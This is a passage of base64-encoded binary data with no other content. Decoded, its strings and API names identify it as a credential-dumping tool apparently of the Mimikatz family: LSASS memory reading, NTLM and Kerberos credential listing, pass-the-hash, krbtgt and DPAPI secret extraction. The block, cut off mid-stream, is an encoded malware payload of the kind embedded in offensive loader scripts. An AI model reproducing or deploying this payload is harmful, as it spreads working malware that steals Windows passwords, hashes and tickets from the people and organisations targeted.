8AZwBvAG4AVQBJAFwAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQAAAAAAAAAAABiAGcAUABhAHQAaAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgADIAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIAAxACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUwBJAEQAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABDAG8AbgB2AGUAcgB0AFMAaQBkAFQAbwBTAHQAcgBpAG4AZwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAJAAkAUABhAHMAcwB3AG8AcgBkACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAJAAkAUABJAE4AIABDAG8AZABlACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADQAaAB1AAoAAAAAAAkACQBCAGEAYwBrAGcAcgBvAHUAbgBkACAAcABhAHQAaAAgADoAIAAlAHMACgAAAAAAAAAAAAAACQAJAFAAaQBjAHQAdQByAGUAIABwAGEAcwBzAHcAbwByAGQAIAAoAGcAcgBpAGQAIABpAHMAIAAxADUAMAAqADEAMAAwACkACgAAAAAAAAAJAAkAIABbACUAdQBdACAAAAAAAAAAAABwAG8AaQBuAHQAIAAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACkAAAAAAGMAbABvAGMAawB3AGkAcwBlAAAAAAAAAGEAbgB0AGkAYwBsAG8AYwBrAHcAaQBzAGUAAAAAAAAAAAAAAAAAAABjAGkAcgBjAGwAZQAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACAAOwAgAHIAIAA9ACAAJQAzAHUAKQAgAC0AIAAlAHMAAAAAAAAAAAAAAAAAAABsAGkAbgBlACAAIAAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACkAIAAtAD4AIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQApAAAAAAAAACUAdQAKAAAACQAJAFAAcgBvAHAAZQByAHQAeQAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQAuACoAcwBcAAAAAAAAACUALgAqAHMAAAAAAAAAAAB0AG8AZABvACAAPwAKAAAACQBOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAAAAAHQAZQBtAHAAIAB2AGEAdQBsAHQAAAAAAAkAUABhAHQAaAAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAAAAlAGgAdQAAACUAdQAAAAAAWwBUAHkAcABlACAAJQB1AF0AIAAAAAAAZwBlAG4AZQByAGkAYwAAAGQAbwBtAGEAaQBuAF8AcABhAHMAcwB3AG8AcgBkAAAAZABvAG0AYQBpAG4AXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAAAAAAGQAbwBtAGEAaQBuAF8AdgBpAHMAaQBiAGwAZQBfAHAAYQBzAHMAdwBvAHIAZAAAAGcAZQBuAGUAcgBpAGMAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAAABkAG8AbQBhAGkAbgBfAGUAeAB0AGUAbgBkAGUAZAAAAG4AbwBuAGUAAAAAAAAAAABzAGUAcwBzAGkAbwBuAAAAZQBuAHQAZQByAHAAcgBpAHMAZQAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBjAHIAZQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAD8AIAAoAFAAZQByAHMAaQBzAHQAIAA+ACAAbQBhAHgAaQBtAHUAbQApAAAAAAAAAD8AIAAoAHQAeQBwAGUAIAA+ACAAQwBSAEUARABfAFQAWQBQAEUAXwBNAEEAWABJAE0AVQBNACkAAAAAAAAAAAA8AE4AVQBMAEwAPgAAAAAAAAAAAAAAAABUAGEAcgBnAGUAdABOAGEAbQBlACAAOgAgACUAcwAgAC8AIAAlAHMACgBVAHMAZQByAE4AYQBtAGUAIAAgACAAOgAgACUAcwAKAEMAbwBtAG0AZQBuAHQAIAAgACAAIAA6ACAAJQBzAAoAVAB5AHAAZQAgACAAIAAgACAAIAAgADoAIAAlAHUAIAAtACAAJQBzAAoAUABlAHIAcwBpAHMAdAAgACAAIAAgADoAIAAlAHUAIAAtACAAJQBzAAoARgBsAGEAZwBzACAAIAAgACAAIAAgADoAIAAlADAAOAB4AAoAQQB0AHQAcgBpAGIAdQB0AGUAcwAgADoACgAAAAAAQwByAGUAZABlAG4AdABpAGEAbAAgADoAIAAAAAAAAABpAG4AZgBvAHMAAAAAAAAAbQBpAG4AZQBzAHcAZQBlAHAAZQByAAAATQBpAG4AZQBTAHcAZQBlAHAAZQByACAAbQBvAGQAdQBsAGUAAAAAAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgAuAGUAeABlAAAARgBpAGUAbABkACAAOgAgACUAdQAgAHIAIAB4ACAAJQB1ACAAYwAKAE0AaQBuAGUAcwAgADoAIAAlAHUACgAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGUAbQBvAHIAeQAgAEMAIAAoAFIAIAA9ACAAJQB1ACkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBlAG0AbwByAHkAIABSAAoAAAAAACUAQwAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAAQgBvAGEAcgBkACAAYwBvAHAAeQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwBhAG0AZQAgAGMAbwBwAHkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwAgAGMAbwBwAHkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwBsAG8AYgBhAGwAIABjAG8AcAB5AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAAUwBlAGEAcgBjAGgAIABpAHMAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBpAG4AZQBzAHcAZQBlAHAAZQByACAATgBUACAASABlAGEAZABlAHIAcwAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGkAbgBlAHMAdwBlAGUAcABlAHIAIABQAEUAQgAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE4AbwAgAE0AaQBuAGUAUwB3AGUAZQBwAGUAcgAgAGkAbgAgAG0AZQBtAG8AcgB5ACEACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAXwBwAGEAcgBzAGUARgBpAGUAbABkACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAcgBlAGEAZAAgAGUAbABlAG0AZQBuAHQAcwAgAGYAcgBvAG0AIABjAG8AbAB1AG0AbgA6ACAAJQB1AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwBfAHAAYQByAHMAZQBGAGkAZQBsAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAYQBkACAAcgBlAGYAZQByAGUAbgBjAGUAcwAgAGYAcgBvAG0AIABjAG8AbAB1AG0AbgA6ACAAJQB1AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIAByAGUAZgBlAHIAZQBuAGMAZQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIABmAGkAcgBzAHQAIABlAGwAZQBtAGUAbgB0AAoAAAAAAAAAbABzAGEAcwByAHYAAAAAAExzYUlDYW5jZWxOb3RpZmljYXRpb24AAExzYUlSZWdpc3Rlck5vdGlmaWNhdGlvbgAAAAAAAAAAYgBjAHIAeQBwAHQAAAAAAEJDcnlwdE9wZW5BbGdvcml0aG1Qcm92aWRlcgAAAAAAQkNyeXB0U2V0UHJvcGVydHkAAAAAAAAAQkNyeXB0R2V0UHJvcGVydHkAAAAAAAAAQkNyeXB0R2VuZXJhdGVTeW1tZXRyaWNLZXkAAAAAAABCQ3J5cHRFbmNyeXB0AAAAQkNyeXB0RGVjcnlwdAAAAEJDcnlwdERlc3Ryb3lLZXkAAAAAAAAAAEJDcnlwdENsb3NlQWxnb3JpdGhtUHJvdmlkZXIAAAAAMwBEAEUAUwAAAAAAAAAAAEMAaABhAGkAbgBpAG4AZwBNAG8AZABlAEMAQgBDAAAAQwBoAGEAaQBuAGkAbgBnAE0AbwBkAGUAAAAAAAAAAABPAGIAagBlAGMAdABMAGUAbgBnAHQAaAAAAAAAAAAAAEEARQBTAAAAQwBoAGEAaQBuAGkAbgBnAE0AbwBkAGUAQwBGAEIAAABtAHMAdgAAAEwAaQBzAHQAcwAgAEwATQAgACYAIABOAFQATABNACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAdwBkAGkAZwBlAHMAdAAAAEwAaQBzAHQAcwAgAFcARABpAGcAZQBzAHQAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAAAATABpAHMAdABzACAASwBlAHIAYgBlAHIAbwBzACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAAB0AHMAcABrAGcAAAAAAAAATABpAHMAdABzACAAVABzAFAAawBnACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAbABpAHYAZQBzAHMAcAAAAEwAaQBzAHQAcwAgAEwAaQB2AGUAUwBTAFAAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAAAAcwBzAHAAAABMAGkAcwB0AHMAIABTAFMAUAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAABsAG8AZwBvAG4AUABhAHMAcwB3AG8AcgBkAHMAAAAAAEwAaQBzAHQAcwAgAGEAbABsACAAYQB2AGEAaQBsAGEAYgBsAGUAIABwAHIAbwB2AGkAZABlAHIAcwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAAAAAAAAAAAAAFMAdwBpAHQAYwBoACAAKABvAHIAIAByAGUAaQBuAGkAdAApACAAdABvACAATABTAEEAUwBTACAAcAByAG8AYwBlAHMAcwAgACAAYwBvAG4AdABlAHgAdAAAAAAAAAAAAG0AaQBuAGkAZAB1AG0AcAAAAAAAAAAAAAAAAAAAAAAAUwB3AGkAdABjAGgAIAAoAG8AcgAgAHIAZQBpAG4AaQB0ACkAIAB0AG8AIABMAFMAQQBTAFMAIABtAGkAbgBpAGQAdQBtAHAAIABjAG8AbgB0AGUAeAB0AAAAAAAAAAAAcAB0AGgAAABQAGEAcwBzAC0AdABoAGUALQBoAGEAcwBoAAAAAAAAAGsAcgBiAHQAZwB0ACEAAABkAHAAYQBwAGkAcwB5AHMAdABlAG0AAABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAgAHMAZQBjAHIAZQB0AAAAQQBuAHQAaQBzAG8AYwBpAGEAbAAAAAAAUAByAGUAZgBlAHIAcgBlAGQAIABCAGEAYwBrAHUAcAAgAE0AYQBzAHQAZQByACAAawBlAHkAcwAAAAAAAAAAAHQAaQBjAGsAZQB0AHMAAABMAGkAcwB0ACAASwBlAHIAYgBlAHIAbwBzACAAdABpAGMAawBlAHQAcwAAAAAAAABlAGsAZQB5AHMAAAAAAAAATABpAHMAdAAgAEsAZQByAGIAZQByAG8AcwAgAEUAbgBjAHIAeQBwAHQAaQBvAG4AIABLAGUAeQBzAAAAAAAAAEwAaQBzAHQAIABDAGEAYwBoAGUAZAAgAE0AYQBzAHQAZQByAEsAZQB5AHMAAAAAAGMAcgBlAGQAbQBhAG4AAABMAGkAcwB0ACAAQwByAGUAZABlAG4AdABpAGEAbABzACAATQBhAG4AYQBnAGUAcgAAAAAAAAAAAHMAZQBrAHUAcgBsAHMAYQAAAAAAAAAAAFMAZQBrAHUAcgBMAFMAQQAgAG0AbwBkAHUAbABlAAAAUwBvAG0AZQAgAGMAbwBtAG0AYQBuAGQAcwAgAHQAbwAgAGUAbgB1AG0AZQByAGEAdABlACAAYwByAGUAZABlAG4AdABpAGEAbABzAC4ALgAuAAAAAAAAAFMAdwBpAHQAYwBoACAAdABvACAAUABSAE8AQwBFAFMAUwAKAAAAAABTAHcAaQB0AGMAaAAgAHQAbwAgAE0ASQBOAEkARABVAE0AUAAgADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAG0AaQBuAGkAZAB1AG0AcAAgADsAIAA8AG0AaQBuAGkAZAB1AG0AcABmAGkAbABlAC4AZABtAHAAPgAgAGEAcgBnAHUAbQBlAG4AdAAgAGkAcwAgAG0AaQBzAHMAaQBuAGcACgAAAAAAAAAAAAAAAAAAAAAATwBwAGUAbgBpAG4AZwAgADoAIAAnACUAcwAnACAAZgBpAGwAZQAgAGYAbwByACAAbQBpAG4AaQBkAHUAbQBwAC4ALgAuAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABTAEEAUwBTACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0ACAAZgBvAHUAbgBkACAAKAA/ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGkAbgBpAGQAdQBtAHAAIABwAEkAbgBmAG8AcwAtAD4ATQBhAGoAbwByAFYAZQByAHMAaQBvAG4AIAAoACUAdQApACAAIQA9ACAATQBJAE0ASQBLAEEAVABaAF8ATgBUAF8ATQBBAEoATwBSAF8AVgBFAFIAUwBJAE8ATgAgACgAJQB1ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHAASQBuAGYAbwBzAC0APgBQAHIAbwBjAGUAcwBzAG8AcgBBAHIAYwBoAGkAdABlAGMAdAB1AHIAZQAgACgAJQB1ACkAIAAhAD0AIABQAFIATwBDAEUAUwBTAE8AUgBfAEEAUgBDAEgASQBUAEUAQwBUAFUAUgBFAF8AQQBNAEQANgA0ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHcAaQB0AGgAbwB1AHQAIABTAHkAcwB0AGUAbQBJAG4AZgBvAFMAdAByAGUAYQBtACAAKAA/ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABLAGUAeQAgAGkAbQBwAG8AcgB0AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAG8AZwBvAG4AIABsAGkAcwB0AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAG8AZAB1AGwAZQBzACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AZQBtAG8AcgB5ACAAbwBwAGUAbgBpAG4AZwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABIAGEAbgBkAGwAZQAgAG8AbgAgAG0AZQBtAG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAbwBjAGEAbAAgAEwAUwBBACAAbABpAGIAcgBhAHIAeQAgAGYAYQBpAGwAZQBkAAoAAAAAAAAAAAAJACUAcwAgADoACQAAAAAAVQBuAGQAZQBmAGkAbgBlAGQATABvAGcAbwBuAFQAeQBwAGUAAAAAAFUAbgBrAG4AbwB3AG4AIAAhAAAAAAAAAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAE4AZQB0AHcAbwByAGsAAABCAGEAdABjAGgAAAAAAAAAUwBlAHIAdgBpAGMAZQAAAFAAcgBvAHgAeQAAAAAAAABVAG4AbABvAGMAawAAAAAATgBlAHQAdwBvAHIAawBDAGwAZQBhAHIAdABlAHgAdAAAAAAAAAAAAE4AZQB3AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAUgBlAG0AbwB0AGUASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAAAAAAAEMAYQBjAGgAZQBkAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAAAAAABDAGEAYwBoAGUAZABSAGUAbQBvAHQAZQBJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABDAGEAYwBoAGUAZABVAG4AbABvAGMAawAAAAAAAAAAAAoAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuACAASQBkACAAOgAgACUAdQAgADsAIAAlAHUAIAAoACUAMAA4AHgAOgAlADAAOAB4ACkACgBTAGUAcwBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQBzACAAZgByAG8AbQAgACUAdQAKAFUAcwBlAHIAIABOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAEQAbwBtAGEAaQBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAEwAbwBnAG8AbgAgAFMAZQByAHYAZQByACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAAAAAAAAAAAATABvAGcAbwBuACAAVABpAG0AZQAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAUwBJAEQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAUAByAGUAdgBpAG8AdQBzAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBrAHIAYgB0AGcAdAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGYAaQBuAGQAIABLAEQAQwAgAHAAYQB0AHQAZQByAG4AIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AawByAGIAdABnAHQAIAA7ACAASwBEAEMAIABzAGUAcgB2AGkAYwBlACAAbgBvAHQAIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAACgAlAHMAIABrAHIAYgB0AGcAdAA6ACAAAAAAAAAAAAAlAHUAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMACgAAAAkAIAAqACAAJQBzACAAOgAgAAAAAAAAAEQAUABBAFAASQBfAFMAWQBTAFQARQBNAAoAAAAAAAAAZgB1AGwAbAA6ACAAAAAAAAoAbQAvAHUAIAA6ACAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZABwAGEAcABpAF8AcwB5AHMAdABlAG0AIAA7ACAATgBvAHQAIABpAG4AaQB0AGkAYQBsAGkAegBlAGQAIQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGQAcABhAHAAaQBfAHMAeQBzAHQAZQBtACAAOwAgAFAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAgAGkAbgAgAEQAUABBAFAASQAgAHMAZQByAHYAaQBjAGUACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBkAHAAYQBwAGkAXwBzAHkAcwB0AGUAbQAgADsAIABEAFAAQQBQAEkAIABzAGUAcgB2AGkAYwBlACAAbgBvAHQAIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwB0AHIAdQBzAHQAIAA7ACAAUABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkACAAaQBuACAASwBEAEMAIABzAGUAcgB2AGkAYwBlAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHQAcgB1AHMAdAAgADsAIABLAEQAQwAgAHMAZQByAHYAaQBjAGUAIABuAG8AdAAgAGkAbgAgAEwAUwBBAFMAUwAgAG0AZQBtAG8AcgB5AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AdAByAHUAcwB0ACAAOwAgAE8AbgBsAHkAIABmAG8AcgAgAD4APQAgADIAMAAwADgAcgAyAAoAAAAAAAAACgAgACAAWwAlAHMAXQAgAAAAAAAAAAAALQA+ACAAJQB3AFoACgAAACUAdwBaACAALQA+AAoAAAAJAGYAcgBvAG0AOgAgAAAACQAqACAAJQBzACAAOgAgAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGIAawBlAHkAIAA7ACAAUABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkACAAaQBuACAARABQAEEAUABJACAAcwBlAHIAdgBpAGMAZQAKAAAAAAAAAAAAaQBtAHAAZQByAHMAbwBuAGEAdABlAAAAcgB1AG4AAAB5AGUAcwAAAG4AbwAAAAAAAAAAAAAAAAB1AHMAZQByAAkAOgAgACUAcwAKAGQAbwBtAGEAaQBuAAkAOgAgACUAcwAKAHAAcgBvAGcAcgBhAG0ACQA6ACAAJQBzAAoAaQBtAHAAZQByAHMALgAJADoAIAAlAHMACgAAAAAAAAAAAEEARQBTADEAMgA4AAkAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAG8AbgBsAHkAIABzAHUAcABwAG8AcgB0AGUAZAAgAGYAcgBvAG0AIABXAGkAbgBkAG8AdwBzACAAOAAuADEAIAAoAG8AcgAgADcALwA4ACAAdwBpAHQAaAAgAGsAYgAyADgANwAxADkAOQA3ACkACgAAAEEARQBTADIANQA2AAkAOgAgAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAANgA0ACAAKAAzADIAIABiAHkAdABlAHMAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbwBuAGwAeQAgAHMAdQBwAHAAbwByAHQAZQBkACAAZgByAG8AbQAgAFcAaQBuAGQ